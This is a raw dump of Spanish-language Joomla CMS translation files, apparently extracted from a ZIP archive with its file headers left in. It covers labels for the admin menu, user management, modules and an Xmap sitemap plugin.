MOD_MENU_COM_USERS_USER_MANAGER="Gestor de usuarios" MOD_MENU_COM_USERS_ADD_NOTE="Añadir una nota de usuario" MOD_MENU_COM_USERS_NOTES="Notas de usuario" MOD_MENU_COM_USERS_NOTE_CATEGORIES="Categorías de notas de usuario" MOD_MENU_CONFIGURATION="Configuración global" MOD_MENU_CONTROL_PANEL="Panel de control" MOD_MENU_EXTENSIONS_EXTENSIONS="Extensiones" MOD_MENU_EXTENSIONS_EXTENSION_MANAGER="Gestor de extensiones" MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER="Gestor de idiomas" MOD_MENU_EXTENSIONS_MODULE_MANAGER="Gestor de módulos" MOD_MENU_EXTENSIONS_PLUGIN_MANAGER="Gestor de plugins" MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER="Gestor de plantillas" MOD_MENU_FIELD_FORUMURL_DESC="Desde aquí puede introducir la URL a otro foro distinto al predeterminado." MOD_MENU_FIELD_FORUMURL_LABEL="Foro de ComunidadJoomla" MOD_MENU_FIELD_SHOWHELP="Menú de ayuda" MOD_MENU_FIELD_SHOWHELP_DESC="Mostrar u ocultar el menú de ayuda. Incluye enlaces a varios sitios de joomla.org que pueden ser útiles para los usuarios" MOD_MENU_FIELD_SHOWNEW="Acceso rápido a 'Añadir nuevo'" MOD_MENU_FIELD_SHOWNEW_DESC="Mostrar u ocultar varios enlaces rápidos a 'Añadir nuevo...' para usuarios, grupos, niveles de acceso, artículos y categorías." MOD_MENU_GLOBAL_CHECKIN="Desbloqueo global" MOD_MENU_HELP="Ayuda" MOD_MENU_HELP_COMMUNITY="Portal comunitario" MOD_MENU_HELP_CURRENT="Ayuda con esta página" MOD_MENU_HELP_DEVELOPER="Recursos para desarrolladores" MOD_MENU_HELP_DOCUMENTATION="Wiki con documentación" MOD_MENU_HELP_EXTENSIONS="Extensiones para Joomla!" MOD_MENU_HELP_JOOMLA="Ayuda para Joomla!" MOD_MENU_HELP_LINKS="Enlaces útiles" MOD_MENU_HELP_RESOURCES="Recursos para Joomla!" MOD_MENU_HELP_SECURITY="Centro de seguridad" MOD_MENU_HELP_SHOP="Tienda de Joomla!" MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM="Foro Oficial (Soporte en inglés)" ; the string below will be used if the localized sample data contains an URL for the desired community forum or if the 'Custom Support Forum' field parameter in the Admin Menu module contains an url MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM="Foro de ComunidadJoomla (Soporte en español)" ; the string below will be used if MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE has a value, i.e the # of the specific language forum in forum.joomla.org MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM="Foro Oficial (Soporte en español)" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE="24" MOD_MENU_HELP_TRANSLATIONS="Traducciones para Joomla!" MOD_MENU_HOME_DEFAULT="Inicio" MOD_MENU_HOME_MULTIPLE="¡Advertencia! Múltiples inicios!" MOD_MENU_LOGOUT="Desconectar" MOD_MENU_MASS_MAIL_USERS="Correo masivo" MOD_MENU_MEDIA_MANAGER="Gestor multimedia" MOD_MENU_MENUS="Menús" MOD_MENU_MENU_MANAGER="Gestor de menús" MOD_MENU_MENU_MANAGER_NEW_MENU="Añadir nuevo menú" MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM="Añadir nuevo elemento del menú" MOD_MENU_NEW_PRIVATE_MESSAGE="Nuevo mensaje privado" MOD_MENU_PURGE_EXPIRED_CACHE="Purgar la caché expirada" MOD_MENU_READ_PRIVATE_MESSAGES="Leer mensajes privados" MOD_MENU_SITE="Sitio" MOD_MENU_MAINTENANCE="Mantenimiento" MOD_MENU_SYSTEM_INFORMATION="Información del sistema" MOD_MENU_TOOLS="Herramientas" MOD_MENU_USER_PROFILE="Mi perfil" MOD_MENU_XML_DESCRIPTION="Este módulo muestra el menú superior de navegación de la administración." PK@y>\%!U(language/es-ES/es-ES.com_modules.sys.ininuW+A; $Id: es-ES.com_modules.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MODULES="Gestor de módulos" COM_MODULES_XML_DESCRIPTION="Componente para gestionar módulos desde la administración." PK@y>\ѝ<</language/es-ES/es-ES.plg_content_joomla.sys.ininuW+A; $Id: es-ES.plg_content_joomla.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_JOOMLA="Contenido - Joomla" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Proceso de categorías para extensiones del núcleo; envía un correo electrónico cuando se mandan nuevos artículos desde el sitio." PK@y>\pzCRCR"language/es-ES/es-ES.com_users.ininuW+A; $Id: es-ES.com_users.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_USERS_OPTION_FILTER_DATE="- Fecha de registro -" COM_USERS_OPTION_RANGE_PAST_1MONTH="en el último mes" COM_USERS_OPTION_RANGE_PAST_3MONTH="en los últimos 3 meses" COM_USERS_OPTION_RANGE_PAST_6MONTH="en los últimos 3 meses" COM_USERS_OPTION_RANGE_PAST_WEEK="en la última semana" COM_USERS_OPTION_RANGE_PAST_YEAR="en el último año" COM_USERS_OPTION_RANGE_POST_YEAR="desde hace más de un año" COM_USERS_OPTION_RANGE_TODAY="hoy" COM_USERS="Gestor de usuarios" COM_USERS_ACTIONS_AVAILABLE="Acciones permitidas" COM_USERS_ACTIVATED="Activado" COM_USERS_ADD_NOTE="Añadir nota" COM_USERS_ASSIGNED_GROUPS="Grupos de usuario asignados" COM_USERS_BATCH_ADD="Añadir al grupo" COM_USERS_BATCH_DELETE="Borrar del grupo" COM_USERS_BATCH_GROUP="Seleccionar un grupo" COM_USERS_BATCH_OPTIONS="Procesar por lotes los usuarios seleccionados" COM_USERS_BATCH_SET="Asignar al grupo" COM_USERS_CATEGORY_HEADING="Categoría" COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC="Configurado en 'Sí', los nuevos usuarios podrán registrarse automáticamente." COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL="Permitir el registro de usuarios" COM_USERS_CONFIG_FIELD_CAPTCHA_DESC="Seleccione el plugin de captcha que deba usarse en el formulario de registro y recordatorio de nombre de usuario o contraseña. Es posible que necesite introducir la información de configuración necesaria para que funcione desde el gestor de plugins.
            Si 'Usar el predeterminado' está seleccionado, asegúrese de que el plugin de captcha está seleccionado en la configuración global." COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL="Captcha" COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC="Permite cambiar a los usuarios su nombre de usuario cuando editan su perfil." COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL="Cambiar el nombre de usuario" COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC="Si 'Parámetros de usuario para el sitio' está configurado en 'Mostrar', los usuarios podrán seleccionar sus preferencias del idioma cuando se registren.
            Esto es especialmente útil en sitios con múltiples idiomas." COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL="Idioma del sitio" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC="El número máximo permitido de solicitudes de restablecimiento de contraseña dentro de un periodo de tiempo. Cero indica que no está limitado." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL="Solicitudes de restablecimiento" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC="El periododo de tiempo, en horas, para restablecer el contador." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL="Tiempo en horas" COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC="Configurado en 'Mostrar', los usuarios, después de identificarse en el sitio, podrán seleccionar su idioma, editor, y sitio de ayuda desde su perfil." COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL="Perfil de usuario desde el sitio" COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC="El grupo predeterminado que se aplicará a los visitantes o invitados (todos los que no inicien una sesión con usuario y contraseña válidos)." COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL="Grupo para los invitados" COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC="Esto se añade después del texto del correo electrónico." COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL="Sufijo del texto de correo" COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC="Si 'Activación de cuentas de usuario' está configurado en 'Ninguno' o en 'Por sí mismo', permite que se envíe o no una notificación por correo electrónico a los administradores." COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL="Notificación por correo electrónico a los administradores" COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC="El grupo predeterminado que se aplicará a los nuevos usuarios, cuando se registren desde el sitio." COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL="Grupo predeterminado de registro" COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL="Enviar contraseña" COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC="Si está configurado en 'Sí', la contraseña inicial del usuario se enviará como parte de la información a incluir en el correo electrónico de registro." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC="Se añade al principio de cada asunto del mensaje." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL="Prefijo del asunto" COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC="Configurado en 'Ninguno', los usuarios podrán registrarse directamente (sin activaciones de cuenta o similares). Configurado en 'Por sí mismo', el usuario recibirá un correo electrónico con un enlace de activación, que deberá seguir antes de que pueda identificarse en el sitio. Configurado en 'Administrado', el usuario recibirá un correo electrónico con el enlace de activación. Una vez seguido, se notificará a todos los miembros que tengan privilegio para crear usuarios y recibir mensajes del sistema y, alguno de los cuales, deberá activar la cuenta antes de que el usuario pueda identificarse." COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL="Activación de cuentas de usuario" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION="Administrado" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION="Por sí mismo" COM_USERS_CONFIG_IMPORT_FAILED="Se ha encontrado un error mientras se importaba la configuración: %s." COM_USERS_CONFIG_SAVE_FAILED="Se ha encontrado un error mientras se guardaba la configuración: %s." COM_USERS_CONFIGURATION="Configuración de usuarios" COM_USERS_DEBUG_EXPLICIT_ALLOW="[ %s ] permitido" COM_USERS_DEBUG_EXPLICIT_DENY="[ %s ] prohibido" COM_USERS_DEBUG_GROUP="Informe de depuración de grupos" COM_USERS_DEBUG_IMPLICIT_DENY="[ %s ] no permitido" COM_USERS_DEBUG_LEGEND="Leyenda:" COM_USERS_DEBUG_NO_CHECK="[   ] no aplicable" COM_USERS_DEBUG_USER="Informe de depuración de usuarios" COM_USERS_DELETE_ERROR_INVALID_GROUP="No puede borrar a los grupos de usuario cuyos privilegios sean superiores al suyo." COM_USERS_EDIT_NOTE_N="Editando la nota con el ID #%d" COM_USERS_EDIT_USER="Editar usuario %s" COM_USERS_EMPTY_REVIEW="-" COM_USERS_EMPTY_SUBJECT="- Sin asunto -" COM_USERS_ERROR_INVALID_GROUP="El grupo es inválido" COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED="Sin niveles de acceso seleccionados." COM_USERS_ERROR_NO_ADDITIONS="El usuario o usuarios seleccionados ya están asignados a ese grupo." COM_USERS_ERROR_VIEW_LEVEL_IN_USE="No puede borrar el nivel de acceso '%d:%s' porque está siendo usado por el contenido." COM_USERS_FIELD_CATEGORY_ID_LABEL="Categoría" COM_USERS_FIELD_ID_LABEL="ID" COM_USERS_FIELD_NOTEBODY_DESC="Descripción del cuerpo" COM_USERS_FIELD_NOTEBODY_LABEL="Nota" COM_USERS_FIELD_REVIEW_TIME_DESC="Descripción" COM_USERS_FIELD_REVIEW_TIME_LABEL="Tiempo de revisión" COM_USERS_FIELD_STATE_DESC="Asignar el estado de publicación." COM_USERS_FIELD_SUBJECT_DESC="Descripción" COM_USERS_FIELD_SUBJECT_LABEL="Asunto" COM_USERS_FIELD_USER_ID_LABEL="ID" COM_USERS_FILTER_ACTIVE="- Activo -" COM_USERS_FILTER_LABEL="Filtrar usuarios por: " COM_USERS_FILTER_NOTES="Mostrar la lista de notas de este usuario" COM_USERS_FILTER_STATE="- Estado -" COM_USERS_FILTER_USER_GROUP="Filtrar grupo" COM_USERS_FILTER_USERGROUP="- Grupo -" COM_USERS_GROUP_FIELD_PARENT_DESC="Elija un grupo principal para este grupo." COM_USERS_GROUP_FIELD_PARENT_LABEL="Grupo principal" COM_USERS_GROUP_FIELD_TITLE_DESC="Introduzca un título para este grupo." COM_USERS_GROUP_FIELD_TITLE_LABEL="Título del grupo" COM_USERS_GROUP_SAVE_SUCCESS="Grupo guardado correctamente" COM_USERS_GROUPS_CONFIRM_DELETE="¿Está seguro de que quiere borrar los grupos que tienen usuarios?" COM_USERS_GROUPS_N_ITEMS_DELETED="%d grupos borrados correctamente" COM_USERS_GROUPS_N_ITEMS_DELETED_1="Un grupo borrado correctamente" COM_USERS_GROUPS_NO_ITEM_SELECTED="Sin grupos seleccionados" COM_USERS_HEADING_ACTIVATED="Activado" COM_USERS_HEADING_ASSET_NAME="Nombre de la acción" COM_USERS_HEADING_ASSET_TITLE="Título de acción" COM_USERS_HEADING_ENABLED="Habilitado" COM_USERS_HEADING_GROUP_TITLE="Título del grupo" COM_USERS_HEADING_GROUPS="Grupos" COM_USERS_HEADING_LAST_VISIT_DATE="Fecha de la última visita" COM_USERS_HEADING_LEVEL_NAME="Nombre del nivel de acceso" COM_USERS_HEADING_LFT="LFT" COM_USERS_HEADING_NAME="Nombre" COM_USERS_HEADING_REGISTRATION_DATE="Fecha de registro" COM_USERS_HEADING_USERS_IN_GROUP="Usuarios en el grupo" COM_USERS_LEVEL_DETAILS="Detalles del nivel de acceso" COM_USERS_LEVEL_FIELD_TITLE_DESC="Introduzca un título para este nivel de acceso." COM_USERS_LEVEL_FIELD_TITLE_LABEL="Título del nivel de acceso" COM_USERS_LEVEL_HEADER_ERROR="Error en el encabezado del nivel de acceso del usuario" COM_USERS_LEVEL_SAVE_SUCCESS="El nivel de acceso ha sido guardado correctamente" COM_USERS_LEVELS_N_ITEMS_DELETED="%d niveles de acceso han sido borrados correctamente" COM_USERS_LEVELS_N_ITEMS_DELETED_1="Un nivel de acceso ha sido borrado correctamente" COM_USERS_MAIL_DETAILS="Detalles" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS="Correo electrónico enviado a %s usuarios" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS_1="Correo electrónico enviado a un usuario" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC="Si está seleccionado, los usuarios deshabilitados se incluirán cuando se envíen correos electrónicos" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL="Enviar a usuarios deshabilitados" COM_USERS_MAIL_FIELD_GROUP_DESC="Seleccione un grupo al que enviar el correo." COM_USERS_MAIL_FIELD_GROUP_LABEL="Grupo:" COM_USERS_MAIL_FIELD_MESSAGE_DESC="Introduzca aquí un mensaje predeterminado" COM_USERS_MAIL_FIELD_MESSAGE_LABEL="Mensaje" COM_USERS_MAIL_FIELD_RECURSE_DESC="Seleccionándolo, el correo electrónico también se enviará a los usuarios que sean miembros de algún subgrupo de los grupos seleccionados." COM_USERS_MAIL_FIELD_RECURSE_LABEL="Correo a los subgrupos:" COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_DESC="Oculta el remitente y lo sustituye por el correo electrónico del sitio." COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_LABEL="Ocultar el remitente (BCC):" COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC="Seleccionándolo, el correo electrónico se enviará con etiquetas HTML. Sin seleccionarlo, el correo electrónico se enviará en texto plano." COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL="Enviar en modo HTML:" COM_USERS_MAIL_FIELD_SUBJECT_DESC="Introduzca el asunto del mensaje" COM_USERS_MAIL_FIELD_SUBJECT_LABEL="Asunto" COM_USERS_MAIL_FIELD_VALUE_ALL_USERS_GROUPS="Todos los grupos" COM_USERS_MAIL_MESSAGE="Mensaje" COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP="No se puede encontrar a usuarios que pertenezcan a este grupo." COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP="Usted es el único usuario en este grupo." COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY="Por favor, rellene el formulario correctamente." COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE="Por favor, introduzca un mensaje" COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT="Por favor, introduzca un asunto" COM_USERS_MAIL_PLEASE_SELECT_A_GROUP="Por favor, seleccione un grupo" COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT="No se puede enviar el correo electrónico." COM_USERS_MASS_MAIL="Correo masivo" COM_USERS_MASS_MAIL_DESC="Opciones del correo masivo" COM_USERS_N_LEVELS_DELETED="%d niveles de acceso han sido borrados correctamente." COM_USERS_N_LEVELS_DELETED_0="Sin niveles de acceso han sido borrados." COM_USERS_N_LEVELS_DELETED_1="%d nivel de acceso ha sido borrado correctamente." COM_USERS_N_USER_NOTES="%d notas" COM_USERS_N_USER_NOTES_1="%d nota" COM_USERS_N_USER_NOTES_0="Sin notas" COM_USERS_N_USERS_ACTIVATED="%s usuarios han sido activados correctamente" COM_USERS_N_USERS_ACTIVATED_0="Sin usuarios activados" COM_USERS_N_USERS_ACTIVATED_1="Usuario ha sido activado correctamente" COM_USERS_N_USERS_BLOCKED="%s usuarios han sido bloqueados" COM_USERS_N_USERS_BLOCKED_0="Sin usuarios bloqueados" COM_USERS_N_USERS_BLOCKED_1="Un usuario ha sido bloqueado" COM_USERS_N_USERS_UNBLOCKED="%s usuarios han sido habilitados" COM_USERS_N_USERS_UNBLOCKED_0="Sin usuarios habilitados" COM_USERS_N_USERS_UNBLOCKED_1="Un usuario ha sido habilitado" COM_USERS_NEW_NOTE="Nueva nota" COM_USERS_NO_NOTES="No hay notas disponibles para este usuario." COM_USERS_NO_LEVELS_SELECTED="Sin niveles de acceso seleccionados" COM_USERS_NOTE_N_SUBJECT="#%d %s" COM_USERS_NOTES="Notas" COM_USERS_NOTES_FOR_USER="Notas para el usuario %s (ID #%d)" COM_USERS_NOTES_N_ITEMS_ARCHIVED="%d notas de usuario archivadas correctamente" COM_USERS_NOTES_N_ITEMS_ARCHIVED_1="%d nota de usuario archivada correctamente" COM_USERS_NOTES_N_ITEMS_CHECKED_IN="%d notas de usuario desbloqueadas correctamente" COM_USERS_NOTES_N_ITEMS_CHECKED_IN_1="%d nota de usuario desbloqueada correctamente" COM_USERS_NOTES_N_ITEMS_DELETED="%d notas de usuario borradas correctamente" COM_USERS_NOTES_N_ITEMS_DELETED_1="%d nota de usuario borrada correctamente" COM_USERS_NOTES_N_ITEMS_PUBLISHED="%d notas de usuario publicadas correctamente" COM_USERS_NOTES_N_ITEMS_PUBLISHED_1="%d nota de usuario publicada correctamente" COM_USERS_NOTES_N_ITEMS_TRASHED="%d notas de usuario movidos a la papelera correctamente" COM_USERS_NOTES_N_ITEMS_TRASHED_1="%d nota de usuario movida a la papelera correctamente" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED="%d notas de usuario despublicadas correctamente" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED_1="%d nota de usuario despublicada correctamente" COM_USERS_OPTION_LEVEL_CATEGORY="%d (categoría superior)" COM_USERS_OPTION_LEVEL_COMPONENT="%d (componente)" COM_USERS_OPTION_LEVEL_DEEPER="%d (profundidad)" COM_USERS_OPTION_SELECT_COMPONENT="- Seleccionar componente -" COM_USERS_OPTION_SELECT_LEVEL_END="- Seleccionar nivel final -" COM_USERS_OPTION_SELECT_LEVEL_START="- Seleccionar nivel inicial -" COM_USERS_REVIEW_HEADING="Fecha de revisión" COM_USERS_SEARCH_ACCESS_LEVELS="Buscar niveles de acceso" COM_USERS_SEARCH_ASSETS="Buscar acciones" COM_USERS_SEARCH_GROUPS_LABEL="Buscar grupos de usuario" COM_USERS_SEARCH_IN_GROUPS="Buscar dentro del título" COM_USERS_SEARCH_IN_NAME="Buscar dentro del nombre" COM_USERS_SEARCH_IN_NOTE_TITLE="Buscar en el asunto de las notas o en el nombre de usuario" COM_USERS_SEARCH_TITLE_LEVELS="Buscar por nivel de acceso." COM_USERS_SEARCH_USERS="Buscar usuarios" COM_USERS_SETTINGS_FIELDSET_LABEL="Configuración básica" COM_USERS_SUBMENU_GROUPS="Grupos de usuario" COM_USERS_SUBMENU_LEVELS="Niveles de acceso" COM_USERS_SUBMENU_NOTES="Notas del usuario" COM_USERS_SUBMENU_NOTE_CATEGORIES="Categorías de notas" COM_USERS_SUBMENU_USERS="Usuarios" COM_USERS_SUBJECT_HEADING="Asunto" COM_USERS_TOOLBAR_ACTIVATE="Activar" COM_USERS_TOOLBAR_BLOCK="Bloquear" COM_USERS_TOOLBAR_MAIL_SEND_MAIL="Enviar correo" COM_USERS_TOOLBAR_UNBLOCK="Desbloquear" COM_USERS_UNACTIVATED="Desactivado" COM_USERS_USER_ACCOUNT_DETAILS="Detalles de la cuenta" COM_USERS_USER_BATCH_FAILED="Se ha encontrado un error mientras se llevaba a cabo la operación de proceso por lotes: %s." COM_USERS_USER_BATCH_SUCCESS="Operación de proceso por lotes completada correctamente." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC="Seleccione el idioma para la interfaz de la administración. Solo afectará a este usuario." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL="Idioma de la administración" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC="Seleccione el estilo de la plantilla para la interfaz de la administración. Solo afectará a este usuario." COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL="Estilo de la plantilla de la administración" COM_USERS_USER_FIELD_BLOCK_DESC="Se bloquea a este usuario" COM_USERS_USER_FIELD_BLOCK_LABEL="Bloquear a este usuario" COM_USERS_USER_FIELD_EDITOR_DESC="Editor del usuario" COM_USERS_USER_FIELD_EDITOR_LABEL="Editor" COM_USERS_USER_FIELD_EMAIL_DESC="Introduzca una dirección de correo electrónico para este usuario" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC="Seleccione el idioma para la interfaz del sitio. Solo afectará a este usuario." COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Idioma del sitio" COM_USERS_USER_FIELD_HELPSITE_DESC="El sitio de ayuda para este usuario" COM_USERS_USER_FIELD_HELPSITE_LABEL="Sitio de ayuda" COM_USERS_USER_FIELD_LASTRESET_DESC="Fecha y hora del último restablecimiento de contraseña" COM_USERS_USER_FIELD_LASTRESET_LABEL="Último restablecimiento de contraseña" COM_USERS_USER_FIELD_LASTVISIT_DESC="Fecha de la última visita" COM_USERS_USER_FIELD_LASTVISIT_LABEL="Fecha de la última visita" COM_USERS_USER_FIELD_NAME_DESC="Introduzca el nombre del usuario" COM_USERS_USER_FIELD_NAME_LABEL="Nombre" COM_USERS_USER_FIELD_PASSWORD2_DESC="Confirme la contraseña del usuario" COM_USERS_USER_FIELD_PASSWORD2_LABEL="Confirmar contraseña" COM_USERS_USER_FIELD_PASSWORD_DESC="Introduzca la contraseña para el usuario" COM_USERS_USER_FIELD_REGISTERDATE_DESC="La fecha de registro" COM_USERS_USER_FIELD_REGISTERDATE_LABEL="Fecha de registro" COM_USERS_USER_FIELD_RESETCOUNT_DESC="Cantidad de restablecimientos desde la última vez" COM_USERS_USER_FIELD_RESETCOUNT_LABEL="Contador de restablecimientos de contraseña" COM_USERS_USER_FIELD_SENDEMAIL_DESC="Configurado en 'Sí', el usuario recibirá correos electrónicos del sistema." COM_USERS_USER_FIELD_SENDEMAIL_LABEL="Recibir correos del sistema" COM_USERS_USER_FIELD_TIMEZONE_DESC="Zona horaria para este usuario" COM_USERS_USER_FIELD_TIMEZONE_LABEL="Zona horaria" COM_USERS_USER_FIELD_USERNAME_DESC="Introduzca el usuario." COM_USERS_USER_FIELD_USERNAME_LABEL="Usuario" COM_USERS_USER_GROUPS_HAVING_ACCESS="Grupos que tienen acceso" COM_USERS_USER_HEADING="Usuario" COM_USERS_USER_SAVE_FAILED="Se ha producido un error mientras se guardaba al miembro: %s." COM_USERS_USER_SAVE_SUCCESS="El usuario ha sido guardado correctamente." COM_USERS_USERGROUP_DETAILS="Detalles del grupo" COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF="No puede bloquearse a sí mismo." COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF="No puede borrarse a sí mismo." COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF="No puede borrar sus propios permisos de súper administrador." COM_USERS_USERS_MULTIPLE_GROUPS="Múltiples grupos" COM_USERS_USERS_N_ITEMS_DELETED="%d usuarios han sido borrados correctamente" COM_USERS_USERS_N_ITEMS_DELETED_1="Un usuario ha sido borrado correctamente" COM_USERS_USERS_NO_ITEM_SELECTED="Sin usuarios seleccionados" COM_USERS_VIEW_DEBUG_GROUP_TITLE="Informe de depuración de permisos para el grupo #%d, %s" COM_USERS_VIEW_DEBUG_USER_TITLE="Informe de depuración de permisos para el usuario #%d, %s" COM_USERS_VIEW_EDIT_GROUP_TITLE="Gestor de usuarios: Editar grupo" COM_USERS_VIEW_EDIT_LEVEL_TITLE="Gestor de usuarios: Editar nivel de acceso" COM_USERS_VIEW_EDIT_PROFILE_TITLE="Gestor de usuarios: Editar perfil" COM_USERS_VIEW_EDIT_USER_TITLE="Gestor de usuarios: Editar usuario" COM_USERS_VIEW_GROUPS_TITLE="Gestor de usuarios: Grupos de usuario" COM_USERS_VIEW_LEVELS_TITLE="Gestor de usuarios: Niveles de acceso" COM_USERS_VIEW_NEW_GROUP_TITLE="Gestor de usuarios: Añadir un grupo" COM_USERS_VIEW_NEW_LEVEL_TITLE="Gestor de usuarios: Añadir un nivel de acceso" COM_USERS_VIEW_NEW_USER_TITLE="Gestor de usuarios: Añadir un nuevo usuario" COM_USERS_VIEW_NOTES_TITLE="Notas del usuario" COM_USERS_VIEW_USERS_TITLE="Gestor de usuarios: Usuarios" COM_USERS_XML_DESCRIPTION="Componente que permite gestionar usuarios" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que hay asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\] ] -language/es-ES/es-ES.plg_xmap_com_content.ininuW+AXMAP_SETTING_EXPAND_CATEGORIES="Expandir Categorias" XMAP_SETTING_EXPAND_CATEGORIES_DESC="Seleccione "Si" para incluir todos los artículos que se encuentran dentro de cada categoría en el mapa de sitio" XMAP_SETTING_EXPAND_FEATURED="Expandir Destacados" XMAP_SETTING_EXPAND_FEATURED_DESC="Set true if Xmap should include the articles within each "Featured Articles" link (usually the frontpage menu item)" XMAP_SETTING_SHOW_UNAUTH_LINKS="Show Unauthorized Links" XMAP_SETTING_SHOW_UNAUTH_LINKS_DESC="If yes, will show links to content to registered content even if you are not logged in. The user will need to login to see the item in full." XMAP_SETTING_MAX_ART_CAT="Max. Artículos por Categoríay" XMAP_SETTING_MAX_ART_CAT_DESC="Número máximo de artículos por categoría que se incluirán en el mapa de sitio (0 = sin límite)" XMAP_SETTING_MAX_ART_AGE="Max. Article's Age in days" XMAP_SETTING_MAX_ART_AGE_DESC="The maximun number of days that an article must have to be included in the sitemap. (0 for no limit)" XMAP_SETTING_CAT_PRIORITY="Prioridad Categorias" XMAP_SETTING_CAT_PRIORITY_DESC="Set the priority for the categories" XMAP_SETTING_CAT_CHANCE_FREQ="Fecuencia de actualización Cagegorias" XMAP_SETTING_CAT_CHANCE_FREQ_DESC="Set the chage frequency for the categories" XMAP_SETTING_ART_PRIORITY="Article Priority" XMAP_SETTING_ART_PRIORITY_DESC="Set the priority for articles" XMAP_SETTING_ART_CHANCE_FREQ="Article Change frequency" XMAP_SETTING_ART_CHANCE_FREQ_DESC="Set the chage frequency for articles" 